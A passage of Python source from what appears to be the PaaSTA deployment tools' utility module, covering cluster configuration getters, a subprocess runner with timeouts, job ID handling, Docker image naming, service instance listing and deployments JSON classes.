def get_enable_envoy_readiness_check(self) -> bool:
"""
If enabled perform readiness checks on envoy
"""
return self.config_dict.get("enable_envoy_readiness_check", False)
def get_nerve_readiness_check_script(self) -> List[str]:
return self.config_dict.get(
"nerve_readiness_check_script", ["/check_smartstack_up.sh"]
)
def get_envoy_readiness_check_script(self) -> List[str]:
return self.config_dict.get(
"envoy_readiness_check_script", ["/check_proxy_up.sh", "--enable-envoy"]
)
def get_envoy_nerve_readiness_check_script(self) -> List[str]:
return self.config_dict.get(
"envoy_nerve_readiness_check_script",
["/check_proxy_up.sh", "--enable-smartstack", "--enable-envoy"],
)
def get_enforce_disk_quota(self) -> bool:
"""
If enabled, add `--storage-opt size=SIZE` arg to `docker run` calls,
enforcing the disk quota as a result.
Please note that this should be enabled only for a suported environment
(which at the moment is only `overlay2` driver backed by `XFS`
filesystem mounted with `prjquota` option) otherwise Docker will fail
to start.
"""
return self.config_dict.get("enforce_disk_quota", False)
def get_auth_certificate_ttl(self) -> str:
"""
How long to request for ttl on auth certificates. Note that this maybe limited
by policy in Vault
"""
return self.config_dict.get("auth_certificate_ttl", "11h")
def get_pki_backend(self) -> str:
"""
The Vault pki backend to use for issueing certificates
"""
return self.config_dict.get("pki_backend", "paastaca")
def get_fsm_template(self) -> str:
fsm_path = os.path.dirname(paasta_tools.cli.fsm.__file__)
template_path = os.path.join(fsm_path, "template")
return self.config_dict.get("fsm_template", template_path)
def get_log_writer(self) -> LogWriterConfig:
"""Get the log_writer configuration out of global paasta config
:returns: The log_writer dictionary.
"""
try:
return self.config_dict["log_writer"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find log_writer in configuration directory: %s"
% self.directory
)
def get_log_reader(self) -> LogReaderConfig:
"""Get the log_reader configuration out of global paasta config
:returns: the log_reader dictionary.
"""
try:
return self.config_dict["log_reader"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find log_reader in configuration directory: %s"
% self.directory
)
def get_metrics_provider(self) -> Optional[str]:
"""Get the metrics_provider configuration out of global paasta config
:returns: A string identifying the metrics_provider
"""
deployd_metrics_provider = self.config_dict.get("deployd_metrics_provider")
if deployd_metrics_provider is not None:
return deployd_metrics_provider
return self.config_dict.get("metrics_provider")
def get_deployd_worker_failure_backoff_factor(self) -> int:
"""Get the factor for calculating exponential backoff when a deployd worker
fails to bounce a service
:returns: An integer
"""
return self.config_dict.get("deployd_worker_failure_backoff_factor", 30)
def get_deployd_maintenance_polling_frequency(self) -> int:
"""Get the frequency in seconds that the deployd maintenance watcher should
poll mesos's api for new draining hosts
:returns: An integer
"""
return self.config_dict.get("deployd_maintenance_polling_frequency", 30)
def get_deployd_startup_oracle_enabled(self) -> bool:
"""This controls whether deployd will add all services that need a bounce on
startup. Generally this is desirable behavior. If you are performing a bounce
of *all* services you will want to disable this.
:returns: A boolean
"""
return self.config_dict.get("deployd_startup_oracle_enabled", True)
def get_deployd_max_service_instance_failures(self) -> int:
"""Determines how many times a service instance entry in deployd's queue
can fail before it will be removed from the queue.
:returns: An integer
"""
return self.config_dict.get("deployd_max_service_instance_failures", 20)
def get_sensu_host(self) -> str:
"""Get the host that we should send sensu events to.
:returns: the sensu_host string, or localhost if not specified.
"""
return self.config_dict.get("sensu_host", "localhost")
def get_sensu_port(self) -> int:
"""Get the port that we should send sensu events to.
:returns: the sensu_port value as an integer, or 3030 if not specified.
"""
return int(self.config_dict.get("sensu_port", 3030))
def get_dockercfg_location(self) -> str:
"""Get the location of the dockerfile, as a URI.
:returns: the URI specified, or file:///root/.dockercfg if not specified.
"""
return self.config_dict.get("dockercfg_location", DEFAULT_DOCKERCFG_LOCATION)
def get_synapse_port(self) -> int:
"""Get the port that haproxy-synapse exposes its status on. Defaults to 3212.
:returns: the haproxy-synapse status port."""
return int(self.config_dict.get("synapse_port", 3212))
def get_default_synapse_host(self) -> str:
"""Get the default host we should interrogate for haproxy-synapse state.
:returns: A hostname that is running haproxy-synapse."""
return self.config_dict.get("synapse_host", "localhost")
def get_synapse_haproxy_url_format(self) -> str:
"""Get a format string for the URL to query for haproxy-synapse state. This format string gets two keyword
arguments, host and port. Defaults to "http://{host:s}:{port:d}/;csv;norefresh".
:returns: A format string for constructing the URL of haproxy-synapse's status page."""
return self.config_dict.get(
"synapse_haproxy_url_format", DEFAULT_SYNAPSE_HAPROXY_URL_FORMAT
)
def get_service_discovery_providers(self) -> Dict[str, Any]:
return self.config_dict.get("service_discovery_providers", {})
def get_cluster_autoscaling_resources(self) -> IdToClusterAutoscalingResourcesDict:
return self.config_dict.get("cluster_autoscaling_resources", {})
def get_cluster_autoscaling_draining_enabled(self) -> bool:
""" Enable mesos maintenance mode and trigger draining of instances before the
autoscaler terminates the instance.
:returns A bool"""
return self.config_dict.get("cluster_autoscaling_draining_enabled", True)
def get_cluster_autoscaler_max_increase(self) -> float:
""" Set the maximum increase that the cluster autoscaler can make in each run
:returns A float"""
return self.config_dict.get("cluster_autoscaler_max_increase", 0.2)
def get_cluster_autoscaler_max_decrease(self) -> float:
""" Set the maximum decrease that the cluster autoscaler can make in each run
:returns A float"""
return self.config_dict.get("cluster_autoscaler_max_decrease", 0.1)
def get_maintenance_resource_reservation_enabled(self) -> bool:
""" Enable un/reserving of resources when we un/drain a host in mesos maintenance
*and* after tasks are killed in setup_marathon_job etc.
:returns A bool"""
return self.config_dict.get("maintenance_resource_reservation_enabled", True)
def get_cluster_boost_enabled(self) -> bool:
""" Enable the cluster boost. Note that the boost only applies to the CPUs.
If the boost is toggled on here but not configured, it will be transparent.
:returns A bool: True means cluster boost is enabled."""
return self.config_dict.get("cluster_boost_enabled", False)
def get_resource_pool_settings(self) -> PoolToResourcePoolSettingsDict:
return self.config_dict.get("resource_pool_settings", {})
def get_cluster_fqdn_format(self) -> str:
"""Get a format string that constructs a DNS name pointing at the paasta masters in a cluster. This format
string gets one parameter: cluster. Defaults to 'paasta-{cluster:s}.yelp'.
:returns: A format string for constructing the FQDN of the masters in a given cluster."""
return self.config_dict.get("cluster_fqdn_format", "paasta-{cluster:s}.yelp")
def get_marathon_servers(self) -> List[MarathonConfigDict]:
return self.config_dict.get("marathon_servers", [])
def get_previous_marathon_servers(self) -> List[MarathonConfigDict]:
return self.config_dict.get("previous_marathon_servers", [])
def get_local_run_config(self) -> LocalRunConfig:
"""Get the local-run config
:returns: The local-run job config dictionary"""
return self.config_dict.get("local_run_config", {})
def get_remote_run_config(self) -> RemoteRunConfig:
"""Get the remote-run config
:returns: The remote-run system_paasta_config dictionary"""
return self.config_dict.get("remote_run_config", {})
def get_spark_run_config(self) -> SparkRunConfig:
"""Get the spark-run config
:returns: The spark-run system_paasta_config dictionary"""
return self.config_dict.get("spark_run_config", {})
def get_paasta_native_config(self) -> PaastaNativeConfig:
return self.config_dict.get("paasta_native", {})
def get_mesos_cli_config(self) -> Dict:
"""Get the config for mesos-cli
:returns: The mesos cli config
"""
return self.config_dict.get("mesos_config", {})
def get_monitoring_config(self) -> Dict:
"""Get the monitoring config
:returns: the monitoring config dictionary"""
return self.config_dict.get("monitoring_config", {})
def get_deploy_blacklist(self) -> DeployBlacklist:
"""Get global blacklist. This applies to all services
in the cluster
:returns: The blacklist
"""
return safe_deploy_blacklist(self.config_dict.get("deploy_blacklist", []))
def get_deploy_whitelist(self) -> DeployWhitelist:
"""Get global whitelist. This applies to all services
in the cluster
:returns: The whitelist
"""
return safe_deploy_whitelist(self.config_dict.get("deploy_whitelist"))
def get_expected_slave_attributes(self) -> ExpectedSlaveAttributes:
"""Return a list of dictionaries, representing the expected combinations of attributes in this cluster. Used for
calculating the default routing constraints."""
return self.config_dict.get("expected_slave_attributes")
def get_security_check_command(self) -> Optional[str]:
"""Get the script to be executed during the security-check build step
:return: The name of the file
"""
return self.config_dict.get("security_check_command", None)
def get_deployd_number_workers(self) -> int:
"""Get the number of workers to consume deployment q
:return: integer
"""
return self.config_dict.get("deployd_number_workers", 4)
def get_deployd_big_bounce_deadline(self) -> float:
"""Get the amount of time in the future to set the deadline when enqueuing instances for SystemPaastaConfig
changes.
:return: float
"""
return float(
self.config_dict.get("deployd_big_bounce_deadline", 7 * 24 * 60 * 60)
)
def get_deployd_startup_bounce_deadline(self) -> float:
"""Get the amount of time in the future to set the deadline when enqueuing instances on deployd startup.
:return: float
"""
return float(
self.config_dict.get("deployd_startup_bounce_deadline", 7 * 24 * 60 * 60)
)
def get_deployd_log_level(self) -> str:
"""Get the log level for paasta-deployd
:return: string name of python logging level, e.g. INFO, DEBUG etc.
"""
return self.config_dict.get("deployd_log_level", "INFO")
def get_deployd_use_zk_queue(self) -> bool:
return self.config_dict.get("deployd_use_zk_queue", True)
def get_hacheck_sidecar_image_url(self) -> str:
"""Get the docker image URL for the hacheck sidecar container"""
return self.config_dict.get(
"hacheck_sidecar_image_url",
"docker-paasta.yelpcorp.com:443/hacheck-k8s-sidecar",
)
def get_register_k8s_pods(self) -> bool:
"""Enable registration of k8s services in nerve"""
return self.config_dict.get("register_k8s_pods", False)
def get_kubernetes_custom_resources(self) -> Sequence[KubeCustomResourceDict]:
"""List of custom resources that should be synced by setup_kubernetes_cr """
return self.config_dict.get("kubernetes_custom_resources", [])
def get_kubernetes_use_hacheck_sidecar(self) -> bool:
return self.config_dict.get("kubernetes_use_hacheck_sidecar", True)
def get_register_marathon_services(self) -> bool:
"""Enable registration of marathon services in nerve"""
return self.config_dict.get("register_marathon_services", True)
def get_register_native_services(self) -> bool:
"""Enable registration of native paasta services in nerve"""
return self.config_dict.get("register_native_services", False)
def get_taskproc(self) -> Dict:
return self.config_dict.get("taskproc", {})
def get_disabled_watchers(self) -> List:
return self.config_dict.get("disabled_watchers", [])
def get_vault_environment(self) -> Optional[str]:
""" Get the environment name for the vault cluster
This must match the environment keys in the secret json files
used by all services in this cluster"""
return self.config_dict.get("vault_environment")
def get_vault_cluster_config(self) -> dict:
""" Get a map from paasta_cluster to vault ecosystem. We need
this because not every ecosystem will have its own vault cluster"""
return self.config_dict.get("vault_cluster_map", {})
def get_secret_provider_name(self) -> str:
""" Get the name for the configured secret_provider, used to
decrypt secrets"""
return self.config_dict.get("secret_provider", "paasta_tools.secret_providers")
def get_slack_token(self) -> str:
""" Get a slack token for slack notifications. Returns None if there is
none available """
return self.config_dict.get("slack", {}).get("token", None)
def get_tron_config(self) -> dict:
return self.config_dict.get("tron", {})
def get_clusters(self) -> Sequence[str]:
return self.config_dict.get("clusters", [])
def get_envoy_admin_endpoint_format(self) -> str:
""" Get the format string for Envoy's admin interface. """
return self.config_dict.get(
"envoy_admin_endpoint_format", "http://{host:s}:{port:d}/{endpoint:s}"
)
def get_envoy_admin_port(self) -> int:
""" Get the port that Envoy's admin interface is listening on
from /etc/services. """
return socket.getservbyname(
self.config_dict.get("envoy_admin_domain_name", "envoy-admin")
)
def get_pdb_max_unavailable(self) -> Union[str, int]:
return self.config_dict.get("pdb_max_unavailable", 0)
def get_boost_regions(self) -> List[str]:
return self.config_dict.get("boost_regions", [])
def get_pod_defaults(self) -> Dict[str, Any]:
return self.config_dict.get("pod_defaults", {})
def get_ldap_search_base(self) -> str:
return self.config_dict.get("ldap_search_base", None)
def get_ldap_search_ou(self) -> str:
return self.config_dict.get("ldap_search_ou", None)
def get_ldap_host(self) -> str:
return self.config_dict.get("ldap_host", None)
def get_ldap_reader_username(self) -> str:
return self.config_dict.get("ldap_reader_username", None)
def get_ldap_reader_password(self) -> str:
return self.config_dict.get("ldap_reader_password", None)
def get_default_push_groups(self) -> List:
return self.config_dict.get("default_push_groups", None)
def get_git_config(self) -> Dict:
"""Gets git configuration. Includes repo names and their git servers.
:returns: the git config dict
"""
return self.config_dict.get(
"git_config",
{
"git_user": "git",
"repos": {
"yelpsoa-configs": {
"repo_name": "yelpsoa-configs",
"git_server": DEFAULT_SOA_CONFIGS_GIT_URL,
"deploy_server": DEFAULT_SOA_CONFIGS_GIT_URL,
},
},
},
)
def get_git_repo_config(self, repo_name: str) -> Dict:
"""Gets the git configuration for a specific repo.
:returns: the git config dict for a specific repo.
"""
return self.get_git_config().get("repos", {}).get(repo_name, {})
def _run(
command: Union[str, List[str]],
env: Mapping[str, str] = os.environ,
timeout: float = None,
log: bool = False,
stream: bool = False,
stdin: Any = None,
stdin_interrupt: bool = False,
popen_kwargs: Dict = {},
**kwargs: Any,
) -> Tuple[int, str]:
"""Given a command, run it. Return a tuple of the return code and any
output.
:param timeout: If specified, the command will be terminated after timeout
seconds.
:param log: If True, the _log will be handled by _run. If set, it is mandatory
to pass at least a :service: and a :component: parameter. Optionally you
can pass :cluster:, :instance: and :loglevel: parameters for logging.
We wanted to use plumbum instead of rolling our own thing with
subprocess.Popen but were blocked by
https://github.com/tomerfiliba/plumbum/issues/162 and our local BASH_FUNC
magic.
"""
output: List[str] = []
if log:
service = kwargs["service"]
component = kwargs["component"]
cluster = kwargs.get("cluster", ANY_CLUSTER)
instance = kwargs.get("instance", ANY_INSTANCE)
loglevel = kwargs.get("loglevel", DEFAULT_LOGLEVEL)
try:
if not isinstance(command, list):
command = shlex.split(command)
popen_kwargs["stdout"] = PIPE
popen_kwargs["stderr"] = STDOUT
popen_kwargs["stdin"] = stdin
popen_kwargs["env"] = env
process = Popen(command, **popen_kwargs)
if stdin_interrupt:
def signal_handler(signum: int, frame: FrameType) -> None:
process.stdin.write("\n".encode("utf-8"))
process.stdin.flush()
process.wait()
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
# start the timer if we specified a timeout
if timeout:
proctimer = threading.Timer(timeout, _timeout, [process])
proctimer.start()
outfn: Any = print if stream else output.append
for linebytes in iter(process.stdout.readline, b""):
line = linebytes.decode("utf-8", errors="replace").rstrip("\n")
outfn(line)
if log:
_log(
service=service,
line=line,
component=component,
level=loglevel,
cluster=cluster,
instance=instance,
)
# when finished, get the exit code
process.wait()
returncode = process.returncode
except OSError as e:
if log:
_log(
service=service,
line=e.strerror.rstrip("\n"),
component=component,
level=loglevel,
cluster=cluster,
instance=instance,
)
output.append(e.strerror.rstrip("\n"))
returncode = e.errno
except (KeyboardInterrupt, SystemExit):
# need to clean up the timing thread here
if timeout:
proctimer.cancel()
raise
else:
# Stop the timer
if timeout:
proctimer.cancel()
if returncode == -9:
output.append(f"Command '{command}' timed out (longer than {timeout}s)")
return returncode, "\n".join(output)
def get_umask() -> int:
"""Get the current umask for this process. NOT THREAD SAFE."""
old_umask = os.umask(0o0022)
os.umask(old_umask)
return old_umask
def get_user_agent() -> str:
base_name = os.path.basename(sys.argv[0])
if base_name == "gunicorn":
return f"{sys.argv[-1]} {paasta_tools.__version__}"
elif len(sys.argv) >= 1:
return f"{base_name} {paasta_tools.__version__}"
else:
return f"PaaSTA Tools {paasta_tools.__version__}"
@contextlib.contextmanager
def atomic_file_write(target_path: str) -> Iterator[IO]:
dirname = os.path.dirname(target_path)
basename = os.path.basename(target_path)
if target_path == "-":
yield sys.stdout
else:
with tempfile.NamedTemporaryFile(
dir=dirname, prefix=(".%s-" % basename), delete=False, mode="w"
) as f:
temp_target_path = f.name
yield f
mode = 0o0666 & (~get_umask())
os.chmod(temp_target_path, mode)
os.rename(temp_target_path, target_path)
class InvalidJobNameError(Exception):
pass
def compose_job_id(
name: str,
instance: str,
git_hash: Optional[str] = None,
config_hash: Optional[str] = None,
spacer: str = SPACER,
) -> str:
"""Compose a job/app id by concatenating its name, instance, git hash, and config hash.
:param name: The name of the service
:param instance: The instance of the service
:param git_hash: The git_hash portion of the job_id. If git_hash is set,
config_hash must also be set.
:param config_hash: The config_hash portion of the job_id. If config_hash
is set, git_hash must also be set.
:returns: <name><SPACER><instance> if no tag, or <name><SPACER><instance><SPACER><hashes>...
if extra hash inputs are provided.
"""
composed = f"{name}{spacer}{instance}"
if git_hash and config_hash:
composed = f"{composed}{spacer}{git_hash}{spacer}{config_hash}"
elif git_hash or config_hash:
raise InvalidJobNameError(
"invalid job id because git_hash (%s) and config_hash (%s) must "
"both be defined or neither can be defined" % (git_hash, config_hash)
)
return composed
def decompose_job_id(job_id: str, spacer: str = SPACER) -> Tuple[str, str, str, str]:
"""Break a composed job id into its constituent (service name, instance,
git hash, config hash) by splitting with ``spacer``.
:param job_id: The composed id of the job/app
:returns: A tuple (service name, instance, git hash, config hash) that
comprise the job_id
"""
decomposed = job_id.split(spacer)
if len(decomposed) == 2:
git_hash = None
config_hash = None
elif len(decomposed) == 4:
git_hash = decomposed[2]
config_hash = decomposed[3]
else:
raise InvalidJobNameError("invalid job id %s" % job_id)
return (decomposed[0], decomposed[1], git_hash, config_hash)
def build_docker_image_name(service: str) -> str:
"""docker-paasta.yelpcorp.com:443 is the URL for the Registry where PaaSTA
will look for your images.
:returns: a sanitized-for-Jenkins (s,/,-,g) version of the
service's path in git. E.g. For github.yelpcorp.com:services/foo the
docker image name is docker_registry/services-foo.
"""
docker_registry_url = get_service_docker_registry(service)
name = f"{docker_registry_url}/services-{service}"
return name
def build_docker_tag(service: str, upstream_git_commit: str) -> str:
"""Builds the DOCKER_TAG string
upstream_git_commit is the SHA that we're building. Usually this is the
tip of origin/master.
"""
tag = "{}:paasta-{}".format(build_docker_image_name(service), upstream_git_commit)
return tag
def check_docker_image(service: str, tag: str) -> bool:
"""Checks whether the given image for :service: with :tag: exists.
:raises: ValueError if more than one docker image with :tag: found.
:returns: True if there is exactly one matching image found.
"""
docker_client = get_docker_client()
image_name = build_docker_image_name(service)
docker_tag = build_docker_tag(service, tag)
images = docker_client.images(name=image_name)
# image['RepoTags'] may be None
# Fixed upstream but only in docker-py 2.
# https://github.com/docker/docker-py/issues/1401
result = [image for image in images if docker_tag in (image["RepoTags"] or [])]
if len(result) > 1:
raise ValueError(
f"More than one docker image found with tag {docker_tag}\n{result}"
)
return len(result) == 1
def datetime_from_utc_to_local(utc_datetime: datetime.datetime) -> datetime.datetime:
return datetime_convert_timezone(
utc_datetime, dateutil.tz.tzutc(), dateutil.tz.tzlocal()
)
def datetime_convert_timezone(
dt: datetime.datetime, from_zone: datetime.tzinfo, to_zone: datetime.tzinfo
) -> datetime.datetime:
dt = dt.replace(tzinfo=from_zone)
converted_datetime = dt.astimezone(to_zone)
converted_datetime = converted_datetime.replace(tzinfo=None)
return converted_datetime
def get_username() -> str:
"""Returns the current username in a portable way. Will use the SUDO_USER
environment variable if present.
http://stackoverflow.com/a/2899055
"""
return os.environ.get("SUDO_USER", pwd.getpwuid(os.getuid())[0])
def get_hostname() -> str:
"""Returns the fully-qualified domain name of the server this code is
running on.
"""
return socket.getfqdn()
def get_soa_cluster_deploy_files(
service: str = None, soa_dir: str = DEFAULT_SOA_DIR, instance_type: str = None
) -> Iterator[Tuple[str, str]]:
if service is None:
service = "*"
service_path = os.path.join(soa_dir, service)
valid_clusters = "|".join(load_system_paasta_config().get_clusters())
if instance_type in INSTANCE_TYPES:
instance_types = instance_type
else:
instance_types = "|".join(INSTANCE_TYPES)
search_re = r"/.*/(" + instance_types + r")-(" + valid_clusters + r")\.yaml$"
for yaml_file in glob.glob("%s/*.yaml" % service_path):
try:
with open(yaml_file):
cluster_re_match = re.search(search_re, yaml_file)
if cluster_re_match is not None:
cluster = cluster_re_match.group(2)
yield (cluster, yaml_file)
except IOError as err:
print(f"Error opening {yaml_file}: {err}")
def list_clusters(
service: str = None, soa_dir: str = DEFAULT_SOA_DIR, instance_type: str = None
) -> List[str]:
"""Returns a sorted list of clusters a service is configured to deploy to,
or all clusters if ``service`` is not specified.
Includes every cluster that has a ``marathon-*.yaml`` or ``tron-*.yaml`` file associated with it.
:param service: The service name. If unspecified, clusters running any service will be included.
:returns: A sorted list of cluster names
"""
clusters = set()
for cluster, _ in get_soa_cluster_deploy_files(
service=service, soa_dir=soa_dir, instance_type=instance_type
):
clusters.add(cluster)
return sorted(clusters)
def list_all_instances_for_service(
service: str,
clusters: Iterable[str] = None,
instance_type: str = None,
soa_dir: str = DEFAULT_SOA_DIR,
cache: bool = True,
) -> Set[str]:
instances = set()
if not clusters:
clusters = list_clusters(service, soa_dir=soa_dir)
for cluster in clusters:
if cache:
si_list = get_service_instance_list(
service, cluster, instance_type, soa_dir=soa_dir
)
else:
si_list = get_service_instance_list_no_cache(
service, cluster, instance_type, soa_dir=soa_dir
)
for service_instance in si_list:
instances.add(service_instance[1])
return instances
def filter_templates_from_config(config: Dict) -> Dict[str, Any]:
config = {
key: value for key, value in config.items() if not key.startswith("_")
} # filter templates
return config or {}
def read_service_instance_names(
service: str, instance_type: str, cluster: str, soa_dir: str
) -> Collection[Tuple[str, str]]:
instance_list = []
conf_file = f"{instance_type}-{cluster}"
config = service_configuration_lib.read_extra_service_information(
service, conf_file, soa_dir=soa_dir, deepcopy=False,
)
config = filter_templates_from_config(config)
if instance_type == "tron":
for job_name, job in config.items():
action_names = list(job.get("actions", {}).keys())
for name in action_names:
instance = f"{job_name}.{name}"
instance_list.append((service, instance))
else:
for instance in config:
instance_list.append((service, instance))
return instance_list
def get_pipeline_config(service: str, soa_dir: str = DEFAULT_SOA_DIR) -> List[Dict]:
service_configuration = read_service_configuration(service, soa_dir)
return service_configuration.get("deploy", {}).get("pipeline", [])
def get_pipeline_deploy_groups(
service: str, soa_dir: str = DEFAULT_SOA_DIR
) -> List[str]:
pipeline_steps = [step["step"] for step in get_pipeline_config(service, soa_dir)]
return [step for step in pipeline_steps if is_deploy_step(step)]
def get_service_instance_list_no_cache(
service: str,
cluster: Optional[str] = None,
instance_type: str = None,
soa_dir: str = DEFAULT_SOA_DIR,
) -> List[Tuple[str, str]]:
"""Enumerate the instances defined for a service as a list of tuples.
:param service: The service name
:param cluster: The cluster to read the configuration for
:param instance_type: The type of instances to examine: 'marathon', 'tron', or None (default) for both
:param soa_dir: The SOA config directory to read from
:returns: A list of tuples of (name, instance) for each instance defined for the service name
"""
instance_types: Tuple[str, ...]
if not cluster:
cluster = load_system_paasta_config().get_cluster()
if instance_type in INSTANCE_TYPES:
instance_types = (instance_type,)
else:
instance_types = INSTANCE_TYPES
instance_list: List[Tuple[str, str]] = []
for srv_instance_type in instance_types:
instance_list.extend(
read_service_instance_names(
service=service,
instance_type=srv_instance_type,
cluster=cluster,
soa_dir=soa_dir,
)
)
log.debug("Enumerated the following instances: %s", instance_list)
return instance_list
@time_cache(ttl=5)
def get_service_instance_list(
service: str,
cluster: Optional[str] = None,
instance_type: str = None,
soa_dir: str = DEFAULT_SOA_DIR,
) -> List[Tuple[str, str]]:
"""Enumerate the instances defined for a service as a list of tuples.
:param service: The service name
:param cluster: The cluster to read the configuration for
:param instance_type: The type of instances to examine: 'marathon', 'tron', or None (default) for both
:param soa_dir: The SOA config directory to read from
:returns: A list of tuples of (name, instance) for each instance defined for the service name
"""
return get_service_instance_list_no_cache(
service=service, cluster=cluster, instance_type=instance_type, soa_dir=soa_dir
)
def get_services_for_cluster(
cluster: str = None, instance_type: str = None, soa_dir: str = DEFAULT_SOA_DIR
) -> List[Tuple[str, str]]:
"""Retrieve all services and instances defined to run in a cluster.
:param cluster: The cluster to read the configuration for
:param instance_type: The type of instances to examine: 'marathon', 'tron', or None (default) for both
:param soa_dir: The SOA config directory to read from
:returns: A list of tuples of (service, instance)
"""
if not cluster:
cluster = load_system_paasta_config().get_cluster()
rootdir = os.path.abspath(soa_dir)
log.debug(
"Retrieving all service instance names from %s for cluster %s", rootdir, cluster
)
instance_list: List[Tuple[str, str]] = []
for srv_dir in os.listdir(rootdir):
instance_list.extend(
get_service_instance_list(srv_dir, cluster, instance_type, soa_dir)
)
return instance_list
def load_service_instance_configs(
service: str, instance_type: str, cluster: str, soa_dir: str = DEFAULT_SOA_DIR,
) -> Dict[str, InstanceConfigDict]:
conf_file = f"{instance_type}-{cluster}"
user_configs = service_configuration_lib.read_extra_service_information(
service, conf_file, soa_dir=soa_dir, deepcopy=False,
)
user_configs = filter_templates_from_config(user_configs)
auto_configs = load_service_instance_auto_configs(
service, instance_type, cluster, soa_dir
)
merged = {}
for instance_name, user_config in user_configs.items():
auto_config = auto_configs.get(instance_name, {})
merged[instance_name] = deep_merge_dictionaries(
overrides=user_config, defaults=auto_config,
)
return merged
def load_service_instance_config(
service: str,
instance: str,
instance_type: str,
cluster: str,
soa_dir: str = DEFAULT_SOA_DIR,
) -> InstanceConfigDict:
if instance.startswith("_"):
raise InvalidJobNameError(
f"Unable to load {instance_type} config for {service}.{instance} as instance name starts with '_'"
)
conf_file = f"{instance_type}-{cluster}"
# We pass deepcopy=False here and then do our own deepcopy of the subset of the data we actually care about. Without
# this optimization, any code that calls load_service_instance_config for every instance in a yaml file is ~O(n^2).
user_config = copy.deepcopy(
service_configuration_lib.read_extra_service_information(
service, conf_file, soa_dir=soa_dir, deepcopy=False
).get(instance)
)
if user_config is None:
raise NoConfigurationForServiceError(
f"{instance} not found in config file {soa_dir}/{service}/{conf_file}.yaml."
)
auto_config = load_service_instance_auto_configs(
service, instance_type, cluster, soa_dir
).get(instance, {})
return deep_merge_dictionaries(overrides=user_config, defaults=auto_config,)
def load_service_instance_auto_configs(
service: str, instance_type: str, cluster: str, soa_dir: str = DEFAULT_SOA_DIR,
) -> Dict[str, Dict[str, Any]]:
enabled_types = load_system_paasta_config().get_auto_config_instance_types_enabled()
conf_file = f"{instance_type}-{cluster}"
if enabled_types.get(instance_type):
return service_configuration_lib.read_extra_service_information(
service,
f"{AUTO_SOACONFIG_SUBDIR}/{conf_file}",
soa_dir=soa_dir,
deepcopy=False,
)
else:
return {}
def get_docker_host() -> str:
return os.environ.get("DOCKER_HOST", "unix://var/run/docker.sock")
def get_docker_client() -> Client:
client_opts = kwargs_from_env(assert_hostname=False)
if "base_url" in client_opts:
return Client(**client_opts)
else:
return Client(base_url=get_docker_host(), **client_opts)
def get_running_mesos_docker_containers() -> List[Dict]:
client = get_docker_client()
running_containers = client.containers()
return [
container
for container in running_containers
if "mesos-" in container["Names"][0]
]
class TimeoutError(Exception):
pass
class Timeout:
# From http://stackoverflow.com/questions/2281850/timeout-function-if-it-takes-too-long-to-finish
def __init__(self, seconds: int = 1, error_message: str = "Timeout") -> None:
self.seconds = seconds
self.error_message = error_message
def handle_timeout(self, signum: int, frame: FrameType) -> None:
raise TimeoutError(self.error_message)
def __enter__(self) -> None:
self.old_handler = signal.signal(signal.SIGALRM, self.handle_timeout)
signal.alarm(self.seconds)
def __exit__(self, type: Any, value: Any, traceback: Any) -> None:
signal.alarm(0)
signal.signal(signal.SIGALRM, self.old_handler)
def print_with_indent(line: str, indent: int = 2) -> None:
"""Print a line with a given indent level"""
print(" " * indent + line)
class NoDeploymentsAvailable(Exception):
pass
DeploymentsJsonV1Dict = Dict[str, BranchDictV1]
DeployGroup = str
BranchName = str
class _DeploymentsJsonV2ControlsDict(TypedDict, total=False):
force_bounce: Optional[str]
desired_state: str
class _DeploymentsJsonV2DeploymentsDict(TypedDict):
docker_image: str
git_sha: str
class DeploymentsJsonV2Dict(TypedDict):
deployments: Dict[DeployGroup, _DeploymentsJsonV2DeploymentsDict]
controls: Dict[BranchName, _DeploymentsJsonV2ControlsDict]
class DeploymentsJsonDict(TypedDict):
v1: DeploymentsJsonV1Dict
v2: DeploymentsJsonV2Dict
class DeploymentsJsonV1:
def __init__(self, config_dict: DeploymentsJsonV1Dict) -> None:
self.config_dict = config_dict
def get_branch_dict(self, service: str, branch: str) -> BranchDictV1:
full_branch = f"{service}:paasta-{branch}"
return self.config_dict.get(full_branch, {})
def __eq__(self, other: Any) -> bool:
return (
isinstance(other, DeploymentsJsonV1)
and other.config_dict == self.config_dict
)
class DeploymentsJsonV2:
def __init__(self, service: str, config_dict: DeploymentsJsonV2Dict) -> None:
self.config_dict = config_dict
self.service = service
def get_branch_dict(
self, service: str, branch: str, deploy_group: str
) -> BranchDictV2:
full_branch = f"{service}:{branch}"
branch_dict: BranchDictV2 = {
"docker_image": self.get_docker_image_for_deploy_group(deploy_group),
"git_sha": self.get_git_sha_for_deploy_group(deploy_group),
"desired_state": self.get_desired_state_for_branch(full_branch),
"force_bounce": self.get_force_bounce_for_branch(full_branch),
}
return branch_dict
def get_deploy_groups(self) -> Collection[str]:
return self.config_dict["deployments"].keys()
def get_docker_image_for_deploy_group(self, deploy_group: str) -> str:
try:
return self.config_dict["deployments"][deploy_group]["docker_image"]
except KeyError:
e = f"{self.service} not deployed to {deploy_group}. Has mark-for-deployment been run?"
raise NoDeploymentsAvailable(e)
def get_git_sha_for_deploy_group(self, deploy_group: str) -> str:
try:
return self.config_dict["deployments"][deploy_group]["git_sha"]
except KeyError:
e = f"{self.service} not deployed to {deploy_group}. Has mark-for-deployment been run?"
raise NoDeploymentsAvailable(e)
def get_desired_state_for_branch(self, control_branch: str) -> str:
try:
return self.config_dict["controls"][control_branch].get(
"desired_state", "start"
)
except KeyError:
e = f"{self.service} not configured for {control_branch}. Has mark-for-deployment been run?"
raise NoDeploymentsAvailable(e)
def get_force_bounce_for_branch(self, control_branch: str) -> str:
try:
return self.config_dict["controls"][control_branch].get(
"force_bounce", None
)
except KeyError:
e = f"{self.service} not configured for {control_branch}. Has mark-for-deployment been run?"
raise NoDeploymentsAvailable(e)
def load_deployments_json(service: str, soa_dir: str = DEFAULT_SOA_DIR) -> Any:
deployment_file = os.path.join(soa_dir, service, "deployments.json")
if os.path.isfile(deployment_file):
with open(deployment_file) as f:
config_dict = json.load(f)
return (
DeploymentsJsonV1(config_dict["v1"])
if "v1" in config_dict
else DeploymentsJsonV2(service=service, config_dict=config_dict["v2"])
)
else:
e = f"{deployment_file} was not found. 'generate_deployments_for_service --service {service}' must be run first"
raise NoDeploymentsAvailable(e)
def load_v2_deployments_json(
service: str, soa_dir: str = DEFAULT_SOA_DIR
) -> DeploymentsJsonV2:
deployment_file = os.path.join(soa_dir, service, "deployments.json")
if os.path.isfile(deployment_file):
